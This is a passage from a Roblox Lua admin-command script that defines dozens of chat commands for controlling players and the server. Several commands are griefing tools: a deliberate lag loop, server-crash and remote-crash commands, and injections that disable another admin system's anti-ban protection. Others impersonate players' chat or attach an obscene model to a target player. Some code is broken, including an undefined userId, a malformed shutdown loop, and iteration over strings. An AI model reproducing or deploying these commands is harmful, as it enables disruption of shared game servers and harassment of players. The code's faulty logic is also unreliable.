  13604.             Output("Made "..v.Name.." say "..tostring(Msg), Speaker)
  13605.         end)
  13606.     end
  13607. end)
  13608. Command("CSpeak", 3, "Speak for a player", function(Msg, Speaker)
  13609.     local Split = GetSplit(Msg)
  13610.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13611.     local Msg = tostring(Msg:sub(Split + 1))
  13612.     for _,v in pairs(PlrTab) do
  13613.         ypcall(function()
  13614.             game:GetService("Chat"):Chat(v.Character.Head,Msg,1)
  13615.             Output("Made "..v.Name.." say "..tostring(Msg), Speaker)
  13616.         end)
  13617.     end
  13618. end)
  13619. Command("PShout", 3, "Shout for a player", function(Msg, Speaker)
  13620.     local Split = GetSplit(Msg)
  13621.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13622.     local Msg = tostring(Msg:sub(Split + 1))
  13623.     for _,v in pairs(PlrTab) do
  13624.         ypcall(function()
  13625.             game:GetService("Chat"):Chat(v.Character.Head,Msg,2)
  13626.             Output("Made "..v.Name.." shout "..tostring(Msg), Speaker)
  13627.         end)
  13628.     end
  13629. end)
  13630. Command("Char", 3, "Changes a player's appearance", function(Msg, Speaker)
  13631.     local Split = GetSplit(Msg)
  13632.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13633.     local Id = tonumber(Msg:sub(Split + 1))
  13634.     for _,v in pairs(PlrTab) do
  13635.         ypcall(function()
  13636.             v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" ..tonumber(Id)
  13637.             v:LoadCharacter()
  13638.             Output("Changed "..v.Name.."'s appearance to "..tonumber(Id), Speaker)
  13639.         end)
  13640.     end
  13641. end)
  13642. Command("Unchar", 3, "Removes a player's appearance", function(Msg, Speaker)
  13643.     local PlrTab = getPlayer(Speaker, Msg)
  13644.     for _,v in pairs(PlrTab) do
  13645.         ypcall(function()
  13646.             v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" ..userId
  13647.             v:LoadCharacter()
  13648.             Output("Removed "..v.Name.."'s appearance", Speaker)
  13649.         end)
  13650.     end
  13651. end)
  13652. Command("Ws", 1, "Set A Player's WalkSpeed", function(Msg, Speaker)
  13653.     local Split = GetSplit(Msg)
  13654.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13655.     local Speed = tonumber(Msg:sub(Split + 1))
  13656.     for _,v in pairs(PlrTab) do
  13657.         ypcall(function()
  13658.             v.Character.Humanoid.WalkSpeed = Speed
  13659.             Output("Changed "..v.Name.."'s walkspeed to "..tostring(Speed), Speaker)
  13660.         end)
  13661.     end
  13662. end)
  13663. Command("Name", 3, "Changes a player's name", function(Msg, Speaker)
  13664.     local Split = GetSplit(Msg)
  13665.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13666.     local Name = tostring(Msg:sub(Split + 1))
  13667.     for _,v in pairs(PlrTab) do
  13668.         ypcall(function()
  13669.             coroutine.resume(coroutine.create(function()
  13670.             if v and v.Character and v.Character:findFirstChild("Head") then
  13671.             for a, derp in pairs(v.Character:children()) do
  13672.             if derp:findFirstChild("NameTag") then
  13673.             v.Character.Head.Transparency = 0
  13674.             derp:Destroy()
  13675.             end
  13676.             end
  13677.             local char = v.Character
  13678.             local derp = Instance.new("Model", char)
  13679.             derp.Name = tostring(Name)
  13680.             local cl = char.Head:Clone()
  13681.             cl.Parent = derp
  13682.             local hum = Instance.new("Humanoid", derp)
  13683.             hum.Name = "NameTag"
  13684.             hum.MaxHealth = 0
  13685.             hum.Health = 0
  13686.             local weld = Instance.new("Weld", cl)
  13687.             weld.Part0 = cl
  13688.             weld.Part1 = char.Head
  13689.             char.Head.Transparency = 1
  13690.             Output("Changed "..v.Name.."'s name to "..tostring(Name), Speaker)
  13691.             end
  13692.             end))
  13693.         end)
  13694.     end
  13695. end)
  13696. Command("Unname", 3, "Changes a player's name", function(Msg, Speaker)
  13697.     local PlrTab = getPlayer(Speaker, Msg)
  13698.     for _,v in pairs(PlrTab) do
  13699.         ypcall(function()
  13700.             coroutine.resume(coroutine.create(function()
  13701.             if v and v.Character and v.Character:findFirstChild("Head") then
  13702.             for a, derp in pairs(v.Character:children()) do
  13703.             if derp:findFirstChild("NameTag") then
  13704.             v.Character.Head.Transparency = 0
  13705.             derp:Destroy()
  13706.             end
  13707.             end
  13708.             end
  13709.             end))
  13710.             Output("Removed "..v.Name.."'s Name", Speaker)
  13711.         end)
  13712.     end
  13713. end)
  13714. Command("Door", 7, "Open/Closes the door", function(Msg,Speaker)
  13715.     if Msg == "open" then
  13716.         wall1.CanCollide = false
  13717.     elseif Msg == "close" then
  13718.         wall1.CanCollide = true
  13719.     end
  13720. end)
  13721. Command("Wall", 7, "Open/Closes the walls", function(Msg,Speaker)
  13722.     if Msg == "open" then
  13723.         wall1.CanCollide = false
  13724.         wall2.CanCollide = false
  13725.         wall3.CanCollide = false
  13726.         wall4.CanCollide = false
  13727.         roof.CanCollide = false
  13728.         floo.CanCollide = false
  13729.     elseif Msg == "close" then
  13730.         wall1.CanCollide = true
  13731.         wall2.CanCollide = true
  13732.         wall3.CanCollide = true
  13733.         wall4.CanCollide = true
  13734.         roof.CanCollide = true
  13735.         floo.CanCollide = true
  13736.     end
  13737. end)
  13738. Command("Room", 7, "Adds a room into the game", function(Msg, Speaker)
  13739. floo=Instance.new("Part",Workspace)
  13740. floo.Anchored = true
  13741. floo.Size = Vector3.new(50, 1, 50)
  13742. floo.TopSurface = "Smooth"
  13743. floo.BottomSurface = "Smooth"
  13744. floo.BrickColor = BrickColor.new("Really black")
  13745. floo.Locked = true
  13746. floo.Transparency = 0.5
  13747. floo.CFrame = CFrame.new(0, 0, 0)
  13748. wall1 = Instance.new("Part", workspace)
  13749. wall1.Size = Vector3.new(1, 20, 51)
  13750. wall1.Anchored = true
  13751. wall1.BrickColor = BrickColor.new("Really blue")--
  13752. wall1.Transparency = 0
  13753. wall1.TopSurface = "Smooth"
  13754. wall1.BottomSurface = "Smooth"
  13755. wall1.CFrame = CFrame.new(-25, 10, 0)
  13756. wall1.Transparency = 0.5
  13757. wall2 = Instance.new("Part", workspace)
  13758. wall2.Size = Vector3.new(51, 20, 1)
  13759. wall2.Anchored = true
  13760. wall2.BrickColor = BrickColor.new("Really black")--
  13761. wall2.Transparency = 0
  13762. wall2.TopSurface = "Smooth"
  13763. wall2.BottomSurface = "Smooth"
  13764. wall2.CFrame = CFrame.new(0, 10, 25)
  13765. wall2.Transparency = 0.5
  13766. wall3 = Instance.new("Part", workspace)
  13767. wall3.Size = Vector3.new(1, 20, 51)
  13768. wall3.Anchored = true
  13769. wall3.BrickColor = BrickColor.new("Really black")--
  13770. wall3.Transparency = 0
  13771. wall3.TopSurface = "Smooth"
  13772. wall3.BottomSurface = "Smooth"
  13773. wall3.CFrame = CFrame.new(25, 10, 0)
  13774. wall3.Transparency = 0.5
  13775. wall4 = Instance.new("Part", workspace)
  13776. wall4.Size = Vector3.new(51, 20, 1)
  13777. wall4.Anchored = true
  13778. wall4.BrickColor = BrickColor.new("Really black")--
  13779. wall4.Transparency = 0
  13780. wall4.TopSurface = "Smooth"
  13781. wall4.BottomSurface = "Smooth"
  13782. wall4.CFrame = CFrame.new(0, 10, -25)
  13783. wall4.Transparency = 0.5
  13784. roof = Instance.new("Part", workspace)
  13785. roof.Anchored = true
  13786. roof.Size = Vector3.new(51, 1, 51)
  13787. roof.TopSurface = "Smooth"
  13788. roof.BottomSurface = "Smooth"
  13789. roof.BrickColor = BrickColor.new("Really black")
  13790. roof.Locked = true
  13791. roof.CFrame = CFrame.new(0, 20.5, 0)
  13792. roof.Transparency = 0.5
  13793. Output("Created a spawn-room", Speaker, 5)
  13794. end)
  13795. Command("InsIn", 7, "Inserts a instance into a object in the game", function(Msg, Speaker)
  13796.     local Split = GetSplit(Msg)
  13797.     local Parent = tostring(Msg:sub(Split - 1))
  13798.     local Object = tostring(Msg:sub(Split + 1))
  13799.     for _,v in pairs(Parent) do
  13800.         ypcall(function()
  13801.             Instance.new(Object, Parent)
  13802.         end)
  13803.     end
  13804. end)
  13805. Command("RemIns", 7, "Removes an instance from the game", function(Msg, Speaker)
  13806.     local Split = GetSplit(Msg)
  13807.     local Parent = tostring(Msg:sub(Split - 1))
  13808.     local Object = tostring(Msg:sub(Split + 1))
  13809.     for _,v in pairs(Parent) do
  13810.         ypcall(function()
  13811.             game[Parent].Object:Remove()
  13812.         end)
  13813.     end
  13814. end)
  13815. Command("FinishV", 6, "Finishes the voting function", function(Msg, Speaker)
  13816.     Output(tonumber(Yes).."[Yes]", Speaker)
  13817.     Output(tonumber(No).."[No]", Speaker)
  13818.     wait(1)
  13819.     Yes = 0
  13820.     No = 0
  13821. end)
  13822. Command("Vote", 6, "Creates a vote for the players to choose [Yes/No]", function(Msg, Speaker)
  13823.     local Split = GetSplit(Msg)
  13824.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13825.     local Vote = tostring(Msg:sub(Split + 1))
  13826.     for _,v in pairs(PlrTab) do
  13827.         ypcall(function()
  13828.             Output("Yes", v,500,function() Yes = Yes + 1 Dismiss(v)end)
  13829.             Output("No", v,500,function() No = No + 1 Dismiss(v)end)
  13830.             Output(tostring(Vote).."say FinV [Rank 6] when everyone's finished,", v,nil)
  13831.         end)
  13832.     end
  13833. end)
  13834. Command("SHP", 1, "Set A Player's Health", function(Msg, Speaker)
  13835.     local Split = GetSplit(Msg)
  13836.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13837.     local Hp = tonumber(Msg:sub(Split + 1))
  13838.     for _,v in pairs(PlrTab) do
  13839.         ypcall(function()
  13840.             v.Character.Humanoid.MaxHealth = Hp
  13841.             v.Character.Humanoid.Health = Hp
  13842.             Output("Changed "..v.Name.."'s health to "..tostring(Hp), Speaker)
  13843.         end)
  13844.     end
  13845. end)
  13846. Command("S", 5, "Adds a script in workspace", function(Msg, Speaker)
  13847.         ypcall(function()
  13848.             NewS(Msg, game.Workspace)
  13849.             Output("Added a script in Workspace", Speaker)
  13850.     end)
  13851. end)
  13852. Command("Ls", 5, "Adds a Local script into a player", function(Msg, Speaker)
  13853.     local Split = GetSplit(Msg)
  13854.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13855.     local Txt = tostring(Msg:sub(Split + 1))
  13856.     for _,v in pairs(PlrTab) do
  13857.         ypcall(function()
  13858.             NewLS(Txt, v.Backpack)
  13859.             Output("Added a local script in "..v.Name.."'s backpack", Speaker)
  13860.         end)
  13861.     end
  13862. end)
  13863. Command("Damage", 1, "Damages a player", function(Msg, Speaker)
  13864.     local Split = GetSplit(Msg)
  13865.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13866.     local Dmg = tonumber(Msg:sub(Split + 1))
  13867.     for _,v in pairs(PlrTab) do
  13868.         ypcall(function()
  13869.             v.Character.Humanoid.Health = v.Character.Humanoid.Health - Dmg
  13870.             Output("Damaged "..v.Name.."'s health by "..tostring(Dmg), Speaker)
  13871.         end)
  13872.     end
  13873. end)
  13874. Command("Heal", 1, "Recovers a player", function(Msg, Speaker)
  13875. local PlrTab = getPlayer(Speaker, Msg)
  13876.     for _,v in pairs(PlrTab) do
  13877.         ypcall(function()
  13878.             v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  13879.             Output("Recovered "..v.Name.." from injuries"..tostring(Dmg), Speaker)
  13880.         end)
  13881.     end
  13882. end)
  13883. Command("AddH", 1, "Adds health to a player", function(Msg, Speaker)
  13884.     local Split = GetSplit(Msg)
  13885.     local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13886.     local Hp = tonumber(Msg:sub(Split + 1))
  13887.     for _,v in pairs(PlrTab) do
  13888.         ypcall(function()
  13889.             v.Character.Humanoid.Health = v.Character.Humanoid.Health + Hp
  13890.             Output("Added health to "..v.Name.."'s health by "..tostring(Hp), Speaker)
  13891.         end)
  13892.     end
  13893. end)
  13894. Command("Unab", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  13895.     local RemoveAB = Instance.new("StringValue")
  13896.     RemoveAB.Name = "CBA Attachment"
  13897.     RemoveAB.Value = [[CBA.override=true;]]
  13898.     RemoveAB.Parent = Work
  13899.     Output("Removed All CBA Anti-Bans", Speaker, 5)
  13900. end)
  13901. Command("Uncba", 3, "Removes CBA Admin", function(Msg, Speaker)
  13902.     local RemoveCBA = Instance.new("StringValue")
  13903.     RemoveCBA.Name = "CBA Attachment"
  13904.     RemoveCBA.Value = [[CBA.remove = false]]
  13905.     RemoveCBA.Parent = Work
  13906.     Output("Removed All CBA Admins", Speaker, 5)
  13907. end)
  13908. Command("Shutdown", 6, "Shuts the server down[REAL]", function(Msg, Speaker)
  13909.     for v, pairs in (game.Players:GetPlayers()) do
  13910.         v:Kick()
  13911.     end
  13912. end)
  13913. Command("LagS", 6, "Lags the server down", function(Msg, Speaker)
  13914.     repeat
  13915.         print('Lag?')
  13916.     until
  13917.     game == nil
  13918. end)
  13919. Command("Cut", 7, "Cuts the plug", function(Msg, Speaker)
  13920.     NewS(ServerCrash, game.Workspace)
  13921. end)
  13922. Command("Cp", 4, "Turns crash phrases on/off", function(Msg, Speaker)
  13923.             if Msg == "on" then
  13924.                 CrashPhrases = true
  13925.                 Output("Crash Phrases are on", Speaker, 5)
  13926.             elseif Msg == "off" then
  13927.                 CrashPhrases = false
  13928.                 Output("Crash Phrases are off", Speaker, 5)
  13929.         end
  13930. end)
  13931. Command("Hs", 7, "Turns HttpService on/off", function(Msg, Speaker)
  13932.             if Msg == "on" then
  13933.                 game:GetService("HttpService").HttpEnabled = true
  13934.                 Output("HttpService is on", Speaker, 5)
  13935.             elseif Msg == "off" then
  13936.                 game:GetService("HttpService").HttpEnabled = false
  13937.                 Output("HttpService is off", Speaker, 5)
  13938.         end
  13939. end)
  13940. Command("Sl", 7, "Turns Scripting on/off", function(Msg, Speaker)
  13941.             if Msg == "on" then
  13942.                 ScriptingLocked = false
  13943.                 Output("Scripting is enabled", Speaker, 5)
  13944.             elseif Msg == "off" then
  13945.                 ScriptingLocked = true
  13946.                 Output("Scripting is disabled", Speaker, 5)
  13947.         end
  13948. end)
  13949. Command("RemoveK", 4, "Removes the player from the game", function(Msg, Speaker)
  13950.     local PlrTab = getPlayer(Speaker, Msg)
  13951.     if #PlrTab > 0 then
  13952.         for _,v in pairs(PlrTab) do
  13953.             ypcall(function()
  13954.                 v:Remove()
  13955.                 Output("Removed Kicked "..v.Name, Speaker, 5)
  13956.             end)
  13957.         end
  13958.     end
  13959. end)
  13960. Command("Kk", 4, "Crash kicks a player from the server", function(Msg, Speaker)
  13961.     local PlrTab = getPlayer(Speaker, Msg)
  13962.     if #PlrTab > 0 then
  13963.         for _,v in pairs(PlrTab) do
  13964.             ypcall(function()
  13965.                 v:Kick()
  13966.                 Output("Killer Kicked "..v.Name, Speaker, 5)
  13967.             end)
  13968.         end
  13969.     end
  13970. end)
  13971. Command("RemoteC", 5, "Remote crashes a nil'd player", function(Msg, Speaker)
  13972.     RemoteCrash(tostring(Msg))
  13973. end)
  13974. Command("Ginfo", 1, "Shows the server's information", function(Msg, Speaker)
  13975.     Output("Creator's ID: "..game.CreatorId, Speaker)
  13976.     Output("Job's ID: "..game.JobId, Speaker)
  13977.     Output("Place's ID: "..game.PlaceId, Speaker)
  13978.     Output("Place Version: "..game.PlaceVersion, Speaker)
  13979.     Output("Number of Players: "..game.Players.NumPlayers, Speaker)
  13980.     Output("Game Running Time: "..game.Workspace.DistributedGameTime, Speaker)
  13981.     Output("Game Name: "..game.Workspace.Parent.Name, Speaker)
  13982. end)
  13983. Command("Ban", 6, "Bans a player from the server", function(Msg, Speaker)
  13984.     local PlrTab = getPlayer(Speaker, Msg)
  13985.     if #PlrTab > 0 then
  13986.         for _,v in pairs(PlrTab) do
  13987.             ypcall(function()
  13988.                 ChangeRank(v, -1)
  13989.                 v:Kick()
  13990.             end)
  13991.         end
  13992.     end
  13993. end)
  13994. Command("Wzrd", 7, "Turns a player into a wizard", function(Msg, Speaker)
  13995.     local PlrTab = getPlayer(Speaker, Msg)
  13996.     if #PlrTab > 0 then
  13997.         for _,v in pairs(PlrTab) do
  13998.             ypcall(function()
  13999.                 NewLS(Wizard, v.Backpack)
  14000.                 Output("Turned "..v.Name.." into a wizard", Speaker, 5)
  14001.             end)
  14002.         end
  14003.     end
  14004. end)
  14005.  
  14006. Command("SKit", 7, "Gives a player Shadow Kit", function(Msg, Speaker)
  14007. if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then
  14008.     local PlrTab = getPlayer(Speaker, Msg)
  14009.     if #PlrTab > 0 then
  14010.         for _,v in pairs(PlrTab) do
  14011.             ypcall(function()
  14012.                 NewLS(Wizard, v.Backpack)
  14013.                 NewLS(YamatoSword, v.Backpack)
  14014.                 NewLS(Test2, v.Backpack)
  14015.                 NewLS(Shoop, v.Backpack)
  14016.                 NewLS(SoulCrushingKarate, v.Backpack)
  14017.                 Output("Gave "..v.Name.." Shadow Kit", Speaker, 5)
  14018.             end)
  14019.         end
  14020.     end
  14021. else
  14022.     Output("Your not allowed to use this kit", Speaker)
  14023.     return
  14024. end
  14025. end)
  14026.  
  14027. Command("Ys", 7, "Gives a player YamatoSword", function(Msg, Speaker)
  14028.     local PlrTab = getPlayer(Speaker, Msg)
  14029.     if #PlrTab > 0 then
  14030.         for _,v in pairs(PlrTab) do
  14031.             ypcall(function()
  14032.                 NewLS(YamatoSword, v.Backpack)
  14033.                 Output("Gave "..v.Name.." yamato sword", Speaker, 5)
  14034.             end)
  14035.         end
  14036.     end
  14037. end)
  14038.  
  14039.  
  14040. Command("Apb", 7, "Gives a player Armatae Path Bringer", function(Msg, Speaker)
  14041. if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then
  14042.     local PlrTab = getPlayer(Speaker, Msg)
  14043.     if #PlrTab > 0 then
  14044.         for _,v in pairs(PlrTab) do
  14045.             ypcall(function()
  14046.                 NewLS(Test2, v.Backpack)
  14047.                 Output("Gave "..v.Name.." Armatae Path Bringer", Speaker, 5)
  14048.             end)
  14049.         end
  14050.     end
  14051. else
  14052. Output("Sorry,This is a test weapon you're not allowed to use this.", Speaker) 
  14053. return
  14054. end
  14055. end)
  14056. Command("Sdw", 7, "Gives a player Shoop da whoop", function(Msg, Speaker)
  14057.     local PlrTab = getPlayer(Speaker, Msg)
  14058.     if #PlrTab > 0 then
  14059.         for _,v in pairs(PlrTab) do
  14060.             ypcall(function()
  14061.                 NewLS(Shoop, v.Backpack)
  14062.                 Output("Gave "..v.Name.." shoop da whoop", Speaker, 5)
  14063.             end)
  14064.         end
  14065.     end
  14066. end)
  14067. Command("Sck", 7, "Gives a player Soul Crushing Karate", function(Msg, Speaker)
  14068. if Speaker.Name == "Cobalt1164" or Speaker.Name == "hipow12" or Speaker.Name == "Cobalt11644" then
  14069.     local PlrTab = getPlayer(Speaker, Msg)
  14070.     if #PlrTab > 0 then
  14071.         for _,v in pairs(PlrTab) do
  14072.             ypcall(function()
  14073.                 NewLS(SoulCrushingKarate, v.Backpack)
  14074.                 Output("Gave "..v.Name.." Soul Karate", Speaker, 5)
  14075.             end)
  14076.         end
  14077.     end
  14078. else
  14079. Output("You are not allowed to use this weapon", Speaker, 5)
  14080. return
  14081. end
  14082. end)
  14083.  
  14084. Command("Kar", 4, "Gives a player Karate Skills", function(Msg, Speaker)
  14085.     local PlrTab = getPlayer(Speaker, Msg)
  14086.     if #PlrTab > 0 then
  14087.         for _,v in pairs(PlrTab) do
  14088.             ypcall(function()
  14089.                 NewLS(Karate, v.Backpack)
  14090.                 Output("Gave "..v.Name.." Karate skills", Speaker, 5)
  14091.             end)
  14092.         end
  14093.     end
  14094. end)
  14095. Command("Connect", 7, "Nil Connect", function(Msg, Speaker)
  14096.     local PlrTab = getPlayer(Speaker, Msg)
  14097.     if #PlrTab > 0 then
  14098.         for _,v in pairs(PlrTab) do
  14099.             ypcall(function()
  14100.                 NewLS(NilConnect, v.Backpack)
  14101.                 Output("Connected "..v.Name, Speaker, 5)
  14102.             end)
  14103.         end
  14104.     end
  14105. end)
  14106. Command("Music", 7, "Creates music from an ID", function(Msg, Speaker)
  14107.     ypcall(function()
  14108.     game.Workspace["Sound"]:Remove()
  14109.     end)
  14110.     MU = Instance.new("Sound", game.Workspace)
  14111.     MU.SoundId = "http://www.roblox.com/asset/?id="..Msg
  14112.     MU.Volume = 1
  14113.     MU.Looped = true
  14114.     MU:Play()
  14115.     Output("Launched Music ID :"..Msg, Speaker, 5)
  14116. end)
  14117.  
  14118.  
  14119. Command("Podium", 2, "Gives a player a podium", function(Msg, Speaker)
  14120.     local PlrTab = getPlayer(Speaker, Msg)
  14121.     if #PlrTab > 0 then
  14122.         for _,v in pairs(PlrTab) do
  14123.             ypcall(function()
  14124.         local MainColor = Color3.new(0,0,0)
  14125.         local SeccondaryColor = Color3.new(0.69,0.13,0.13)
  14126.         local Main = Instance.new("Model",workspace) Main.Name = "Podium"
  14127.         local MainCFrame = v.Character.Torso.CFrame
  14128.             * CFrame.new(0,-4,0)
  14129.             + v.Character.Torso.CFrame.lookVector*3
  14130.         local SeccondaryCFrame = v.Character.Torso.CFrame
  14131.             * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
  14132.             + v.Character.Torso.CFrame.lookVector*3
  14133.         if CFrame == nil then return end    
  14134.         coroutine.resume(coroutine.create(function()
  14135.        
  14136.             for i=1,25 do
  14137.                 wait()
  14138.                 local Step = Instance.new("Part",Main)
  14139.                 Step.FormFactor = "Custom"
  14140.                 Step.Name = "Step"
  14141.                 Step.Anchored = true
  14142.                 Step.Locked = true
  14143.                 Step.Reflectance = 0
  14144.                 Step.TopSurface = "Smooth"
  14145.                 Step.BottomSurface = "Smooth"
  14146.                 Step.BrickColor = BrickColor.new(SeccondaryColor)
  14147.                 Step.Size = Vector3.new(6,1,3)
  14148.                 Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
  14149.                 Instance.new("BlockMesh",Step)
  14150.                
  14151.                 local Carpet = Instance.new("Part",Main)
  14152.                 Carpet.FormFactor = "Custom"
  14153.                 Carpet.Name = "Carpet"
  14154.                 Carpet.Anchored = true
  14155.                 Carpet.Locked = true
  14156.                 Carpet.Reflectance = 0
  14157.                 Carpet.TopSurface = "Smooth"
  14158.                 Carpet.BottomSurface = "Smooth"
  14159.                 Carpet.BrickColor = BrickColor.new(MainColor)
  14160.                 Carpet.Size = Vector3.new(4,1,3.2)
  14161.                 Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
  14162.                 Instance.new("BlockMesh",Carpet)  
  14163.             end    
  14164.             local MainCirc = Instance.new("Part",Main)
  14165.             MainCirc.FormFactor = "Custom"
  14166.             MainCirc.Name = "MainCirc"
  14167.             MainCirc.Anchored = true
  14168.             MainCirc.Locked = true
  14169.             MainCirc.Reflectance = 0
  14170.             MainCirc.TopSurface = "Smooth"
  14171.             MainCirc.BottomSurface = "Smooth"
  14172.             MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
  14173.             MainCirc.Size = Vector3.new(20,1,20)
  14174.             MainCirc.CFrame = SeccondaryCFrame
  14175.             Instance.new("CylinderMesh",MainCirc)
  14176.            
  14177.             local SeccondaryCirc = Instance.new("Part",Main)
  14178.             SeccondaryCirc.FormFactor = "Custom"
  14179.             SeccondaryCirc.Name = "SeccondaryCirc"
  14180.             SeccondaryCirc.Anchored = true
  14181.             SeccondaryCirc.Locked = true
  14182.             SeccondaryCirc.Reflectance = 0
  14183.             SeccondaryCirc.TopSurface = "Smooth"
  14184.             SeccondaryCirc.BottomSurface = "Smooth"
  14185.             SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
  14186.             SeccondaryCirc.Size = Vector3.new(18,1,18)
  14187.             SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
  14188.             Instance.new("CylinderMesh",SeccondaryCirc)
  14189.             for i=1,math.floor(360/6) do
  14190.                 local Spike = Instance.new("Part",Main)
  14191.                 Spike.FormFactor = "Custom"
  14192.                 Spike.Name = "Spike"
  14193.                 Spike.Anchored = true
  14194.                 Spike.Locked = true
  14195.                 Spike.Reflectance = 0
  14196.                 Spike.TopSurface = "Smooth"
  14197.                 Spike.BottomSurface = "Smooth"
  14198.                 Spike.BrickColor = BrickColor.new(MainColor)
  14199.                 Spike.Size = Vector3.new(1,7,1)
  14200.                 Spike.CFrame = SeccondaryCFrame
  14201.                     * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
  14202.                     * CFrame.new(7,-7,0)
  14203.                 Torch = Instance.new("Part",Main)
  14204.                 Torch.Reflectance = 1e+999
  14205.                 Torch.FormFactor = "Custom"
  14206.                 Torch.Shape = "Ball"
  14207.                 Torch.Anchored = true
  14208.                 Torch.Locked = true
  14209.                 Torch.Size = Vector3.new(2,2,2)
  14210.                 Torch.CFrame = Spike.CFrame
  14211.                     * CFrame.new(0,3.5,0)
  14212.                     * CFrame.Angles(0,0,0)
  14213.                 Instance.new("Fire",Torch)
  14214.                 end
  14215.             end))
  14216.         end)
  14217.         end
  14218.     end
  14219.     Output("Gave "..v.Name.." Podium", Speaker,nil)
  14220. end)
  14221. Command("Fcam", 1, "Fixes a player's camera", function(Msg, Speaker)
  14222.     local PlrTab = getPlayer(Speaker, Msg)
  14223.     if #PlrTab > 0 then
  14224.         for _,v in pairs(PlrTab) do
  14225.             ypcall(function()
  14226.                 v.CameraMode = "Classic"
  14227.                 NewLS([[game.Workspace.CurrentCamera.CameraSubject = LocalPlayer.Character.Humanoid
  14228.                     game.Workspace.CurrentCamera.CameraType = "Custom"
  14229.                 ]], v.Backpack)
  14230.                 Output("Fixed "..v.Name.."'s Camera", Speaker,nil)
  14231.             end)
  14232.         end
  14233.     end
  14234. end)
  14235. Command("Bd", 3, "Gives a player a big stick", function(Msg, Speaker)
  14236.     local PlrTab = getPlayer(Speaker, Msg)
  14237.     if #PlrTab > 0 then
  14238.         for _,v in pairs(PlrTab) do
  14239.             ypcall(function()
  14240.                 person=v.Name
  14241.         color = "Pastel brown"
  14242.         pcall(function() game.Players[person].Character["Nice thing"]:Remove() end)
  14243.         D = Instance.new("Model",workspace[person])
  14244.         D.Name = "Nice thing"
  14245.         bg = Instance.new("BodyGyro",workspace[person].Torso)
  14246.         d = Instance.new("Part")
  14247.         d.TopSurface = 0
  14248.         d.BottomSurface = 0
  14249.         d.Name = "Main"
  14250.         d.Parent = workspace[person]["Nice thing"]
  14251.         d.formFactor = 3
  14252.         d.Size = Vector3.new(0.6*2 ,2.5*2 ,0.6*2 )
  14253.         d.BrickColor = BrickColor.new(color)
  14254.         d.Position = workspace[person].Head.Position
  14255.         d.CanCollide = false
  14256.         local cy = Instance.new("CylinderMesh")
  14257.         cy.Parent = d
  14258.         w = Instance.new("Weld")
  14259.         w.Parent = workspace[person].Head
  14260.         w.Part0 = d
  14261.         w.Part1 = workspace[person].Head
  14262.         w.C0 = CFrame.new(0,0.25 ,2.1 )*CFrame.Angles(math.rad(45),0,0)
  14263.         local c = Instance.new("Part")
  14264.         c.Name = "Mush"
  14265.         c.BottomSurface = 0
  14266.         c.TopSurface = 0
  14267.         c.FormFactor = 3
  14268.         c.Size = Vector3.new(0.6*2 ,0.6*2 ,0.6*2 )
  14269.         c.CFrame = CFrame.new(d.Position)
  14270.         c.BrickColor = BrickColor.new("Pink")
  14271.         c.CanCollide = false
  14272.         c.Parent = workspace[person]["Nice thing"]
  14273.         local msm = Instance.new("SpecialMesh")
  14274.         msm.Parent = c
  14275.         msm.MeshType = "Sphere"
  14276.         local cw = Instance.new("Weld")
  14277.         cw.Parent = c
  14278.         cw.Part0 = d
  14279.         cw.Part1 = c
  14280.         cw.C0 = CFrame.new(0,2.6 ,0)
  14281.         local ball1 = Instance.new("Part")
  14282.         ball1.Parent = workspace[person]["Nice thing"]
  14283.         ball1.Name = "Left Ball"
  14284.         ball1.BottomSurface = 0
  14285.         ball1.TopSurface = 0
  14286.         ball1.CanCollide = false
  14287.         ball1.formFactor = 3
  14288.         ball1.Size = Vector3.new(1*2 ,1*2 ,1*2 )
  14289.         ball1.CFrame = CFrame.new(workspace[person]["Left Leg"].Position)
  14290.         ball1.BrickColor = BrickColor.new(color)
  14291.         local bsm = Instance.new("SpecialMesh")
  14292.         bsm.Parent = ball1
  14293.         bsm.MeshType = "Sphere"
  14294.         local b1w = Instance.new("Weld")
  14295.         b1w.Parent = ball1
  14296.         b1w.Part0 = workspace[person]["Left Leg"]
  14297.         b1w.Part1 = ball1
  14298.         b1w.C0 = CFrame.new(0,0.5 ,-.5 )
  14299.         local ball2 = Instance.new("Part")
  14300.         ball2.Parent = workspace[person]["Nice thing"]
  14301.         ball2.Name = "Right Ball"
  14302.         ball2.BottomSurface = 0
  14303.         ball2.CanCollide = false
  14304.         ball2.TopSurface = 0
  14305.         ball2.formFactor = 3
  14306.         ball2.Size = Vector3.new(1*2 ,1*2 ,1*2 )
  14307.         ball2.CFrame = CFrame.new(workspace[person]["Right Leg"].Position)
  14308.         ball2.BrickColor = BrickColor.new(color)
  14309.         local b2sm = Instance.new("SpecialMesh")
  14310.         b2sm.Parent = ball2
  14311.         b2sm.MeshType = "Sphere"
  14312.         local b2w = Instance.new("Weld")
  14313.         b2w.Parent = ball2
  14314.         b2w.Part0 = workspace[person]["Right Leg"]
  14315.         b2w.Part1 = ball2
  14316.         b2w.C0 = CFrame.new(0,0.5,-.5)
  14317.         Output("Gave "..v.Name.." a big stick", Speaker,nil)
  14318.             end)
